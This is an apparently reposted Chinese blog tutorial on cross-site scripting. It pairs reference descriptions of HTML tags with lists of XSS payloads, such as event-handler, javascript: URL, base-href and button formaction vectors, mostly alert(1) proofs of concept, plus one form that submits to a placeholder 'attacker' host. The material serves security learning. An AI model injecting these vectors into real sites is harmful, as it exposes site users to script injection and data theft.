XSS从入门到放弃系列一
Posted me记录
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS从入门到放弃系列一相关的知识,希望对你有一定的参考价值。
文章来自于小m,小密圈首发
ps:之前那个文章标题不太对,应该是android https抓包的问题,文章来源也不是90,原谅我记错了,来源于本公众号另外一运营者,tools首发
常用到的html5标签
HTML <!--...--> 标签
<!--这是一段注释。注释不会在浏览器中显示。-->
注释标签用于在源代码中插入注释。
注释不会显示在浏览器中。
您可使用注释对您的代码进行解释,这样做有助于您在以后的时间对代码的编辑。
当您编写了大量代码时尤其有用。
使用注释标签来隐藏浏览器不支持的脚本也是一个好习惯(这样就不会把脚本显示为纯文本):
<script type="text/javascript">
<!--
function displayMsg()
{
alert("Hello World!")
}
//-->
</script>
注释:注释行结尾处的两条斜杠 (//) 是 JavaScript 注释符号。
这可以避免 JavaScript 执行 --> 标签。
注释标签不支持任何标准属性。注释标签不支持任何事件属性。
注:HTML的注释有两个,分别是 <!--...-->
和 <!--...--!>
.
HTML <a> 标签
<a href="http://www.w3school.com.cn">W3School</a>
所有浏览器都支持 <a>
标签。
<a>
标签定义超链接,用于从一张页面链接到另一张页面。
<a>
元素最重要的属性是 href 属性,它指示链接的目标。
提示:如果不使用 href 属性,则不可以使用如下属性:download, hreflang, media, rel, target 以及 type 属性。
提示:被链接页面通常显示在当前浏览器窗口中,除非您规定了另一个目标(target 属性)。
在 HTML5 中, <a>
标签始终是超链接,但是如果未设置 href 属性,则只是超链接的占位符。<a>
标签支持 HTML 中的全局属性。
<a>
标签支持 HTML 中的事件属性。
HTML <area> 标签
<img usemap="#baidumap"/>
<map name="baidumap" id="baidumap">
<area coords="0,0,1000,1000" href="javascript:alert(1)"/>
</map>
所有主流浏览器都支持 <area>
标签。
<area>
标签定义图像映射中的区域(注:图像映射指得是带有可点击区域的图像)。
area 元素总是嵌套在 <map>
标签中。
注释: <img>
标签中的 usemap 属性与 map 元素 name 属性相关联,创建图像与映射之间的联系。在 HTML 中, <area>
没有结束标签。
注释: <img>
中的 usemap 属性可引用 <map>
中的 id 或 name 属性(由浏览器决定),所以我们需要同时向 <map>
添加 id 和 name 两个属性。
<area>
标签支持 HTML 中的全局属性。
<area>
标签支持 HTML 中的事件属性。
HTML <article> 标签
<article>
<script>alert(1)</script>
</article>
Internet Explorer 9, Firefox, Opera, Chrome 以及 Safari 支持 <article>
标签。
注释:Internet Explorer 8 以及更早的版本不支持 <article>
标签。
<article>
标签规定独立的自包含内容。一篇文章应有其自身的意义,应该有可能独立于站点的其余部分对其进行分发。
<article>
标签支持 HTML 中的全局属性。
<article>
标签支持 HTML 中的事件属性。
HTML <aside> 标签
<aside>
<script>alert(1)</script>
</aside>
Internet Explorer 9+, Firefox, Opera, Chrome 以及 Safari 支持 <aside>
标签。
注释:Internet Explorer 8 以及更早的版本不支持 <aside>
标签。
<aside>
标签定义其所处内容之外的内容。
aside 的内容应该与附近的内容相关。
提示: <aside>
的内容可用作文章的侧栏。
<aside>
标签支持 HTML 中的全局属性。
<aside>
标签支持 HTML 中的事件属性。
HTML <audio> 标签
<audio >
您的浏览器不支持 audio 标签。
</audio>
Internet Explorer 9+, Firefox, Opera, Chrome 以及 Safari 支持 <audio>
标签。
注释:Internet Explorer 8 以及更早的版本不支持 <audio>
标签。
<audio>
标签定义声音,比如音乐或其他音频流。
提示:可以在开始标签和结束标签之间放置文本内容,这样老的浏览器就可以显示出不支持该标签的信息。
<audio>
标签支持 HTML 中的全局属性。
<audio>
标签支持 HTML 中的事件属性。
HTML <base> 标签
<base href=javascript:/0/><iframe src=,alert(1)></iframe>
和
<base href=javascript:/0/><a href=,alert(1)>a</a>
所有浏览器都支持 <base>
标签。
通常情况下,浏览器会从当前文档的 URL 中提取相应的元素来填写相对 URL 中的空白。
使用 <base>
标签可以改变这一点。浏览器随后将不再使用当前文档的 URL,而使用指定的基本 URL 来解析所有的相对 URL。这其中包括 <a>
、 <img>
、 <link>
、 <form>
标签中的 URL。在 HTML 中, <base>
标签没有结束标签
注释: <base>
标签必须位于 head 元素内部。
HTML <body> 标签
<body onload=alert(1)>
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
所有主流浏览器都支持 <body>
标签。
body 元素定义文档的主体。
body 元素包含文档的所有内容(比如文本、超链接、图像、表格和列表等等。)
<body>
标签支持 HTML 中的全局属性。
<body>
标签支持 HTML 中的事件属性。
HTML <button> 标签
<button type="button">Click Me!</button>
所有主流浏览器都支持 <button>
标签。
重要事项:如果在 HTML 表单中使用 button 元素,不同的浏览器会提交不同的值。
Internet Explorer 将提交 <button>
与 <button/>
之间的文本,而其他浏览器将提交 value 属性的内容。请在 HTML 表单中使用 input 元素来创建按钮。
<button>
标签定义一个按钮。
在 button 元素内部,您可以放置内容,比如文本或图像。这是该元素与使用 input 元素创建的按钮之间的不同之处。
<button>
控件 与 <input type="button">
相比,提供了更为强大的功能和更丰富的内容。 <button>
与 </button>
标签之间的所有内容都是按钮的内容,其中包括任何可接受的正文内容,比如文本或多媒体内容。例如,我们可以在按钮中包括一个图像和相关的文本,用它们在按钮中创建一个吸引人的标记图像。
唯一禁止使用的元素是图像映射,因为它对鼠标和键盘敏感的动作会干扰表单按钮的行为。
请始终为按钮规定 type 属性。Internet Explorer 的默认类型是 "button",而其他浏览器中(包括 W3C 规范)的默认值是 "submit"。
HTML 5 中的新属性:autofocus, form, formaction, formenctype, formmethod, formnovalidate 以及 formtarget。
注释:如果在 HTML 表单中使用 button 元素,不同的浏览器会提交不同的按钮值。请使用 input 元素在 HTML 表单中创建按钮。
<button type="button" autofocus="autofocus">
点击这里
</button>
注释:formenctype 属性可能的值:
application/x-www-form-urlencoded
multipart/form-data
text/plain
<button>
标签支持 HTML 中的全局属性。
<button>
标签支持 HTML 中的事件属性。
<button/onclick=alert(1) >M</button>
<form><button formaction=javascript:alert(1)>M
<button onfocus=alert(1) autofocus>
<form><button formaction=javascript:alert(1)>click
<form><button formaction=javascript:alert(1)>click
<form><button formaction=javascript:alert(1)>click
<div><button form=f>CLICK<form id=f action=https://attacker/</div>
<form action=submit>
<button formaction=form3>CLICK<select name=q><option><script>alert(1)</script>
</form>
<button onclick=go()>go</button>
<a href="javascript:\u0061le%72t(1)"><button>
<form><button formaction=javascript:alert(1)>CLICKME
HTML <command> 标签
<menu>
<command onclick="alert('Hello World')">
Click Me!</command>
</menu>
没有浏览器支持 <command>
标签。
只有 Internet Explorer 9 (更早或更晚的版本都不支持)支持 <command>
标签。
command 元素表示用户能够调用的命令。
<command>
标签可以定义命令按钮,比如单选按钮、复选框或按钮。
只有当 command 元素位于 menu 元素内时,该元素才是可见的。否则不会显示这个元素,但是可以用它规定键盘快捷键。
目前只有 Internet Explorer 支持 <command>
标签。
<menu>
<command onclick="alert('Hello World')" icon="bulbon.gif">
Click Me!
</command>
</menu>
<menu>
<command onclick="alert('Hello World')" label="Alert">Click Me!</command>
</menu>
<command>
标签支持 HTML 中的全局属性。
<command>
标签支持 HTML 中的事件属性。
HTML <details> 标签
<details>
<summary>Copyright 2011.</summary>
<p>All pages and graphics on this web site are the property of W3School.</p>
</details>
目前只有 Chrome 和 Safari 6 支持 <details>
标签。
<details>
标签用于描述文档或文档某个部分的细节。
目前只有 Chrome 支持 <details>
标签。
提示:与 <summary>
标签 配合使用可以为 details 定义标题。标题是可见的,用户点击标题时,会显示出 details。
<details>
标签支持 HTML 中的全局属性。
<details>
标签支持 HTML 中的事件属性。
<details open ontoggle=alert(1)>
<details open ontoggle="alert('已是黄昏独自愁,一枝红杏出墙来')">
<details ontoggle="alert('已是黄昏独自愁,一枝红杏出墙来')">
<details onfocus = "alert(1)">
<details onfocus = "alert(1)">
<details onfocus = "alert(1)">
HTML <div> 标签
<div style="color:#00FF00">
<h3>This is a header</h3>
<p>This is a paragraph.</p>
</div>
所有主流浏览器都支持 <div>
标签。
<div>
可定义文档中的分区或节(division/section)。
<div>
标签可以把文档分割为独立的、不同的部分。它可以用作严格的组织工具,并且不使用任何格式与其关联。
如果用 id 或 class 来标记 <div>
,那么该标签的作用会变得更加有效。
<div>
是一个块级元素。这意味着它的内容自动地开始一个新行。实际上,换行是 <div>
固有的唯一格式表现。可以通过 <div>
的 class 或 id 应用额外的样式。
注释: <div>
是一个块级元素,也就是说,浏览器通常会在 div 元素前后放置一个换行符。
提示:请使用 <div>
元素来组合块级元素,这样就可以使用样式对它们进行格式化。
<div>
标签支持 HTML 中的全局属性。
<div>
标签支持 HTML 中的事件属性。
<div/onmouseover='alert(1)'>X
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
<div>`-alert(1)</script><script>`</div>
<div>`-alert(1)</script><script>`</div>
<div> <a href=/**/alert(1)>XSS</a><base href="javascript:\ </div><div id="x"></div>
<div onmouseover='alert(1)'>DIV</div>
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
<div/onmouseover='alert(1)'> style="x:">
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
HTML <embed> 标签
<embed>
标签定义嵌入的内容,比如插件。
<embed />
<embed>
标签支持 HTML 中的全局属性。
<embed>
标签支持 HTML 中的事件属性。
以上是关于XSS从入门到放弃系列一的主要内容,如果未能解决你的问题,请参考以下文章
CYQ.Data 从入门到放弃ORM系列:开篇:自动化框架编程思维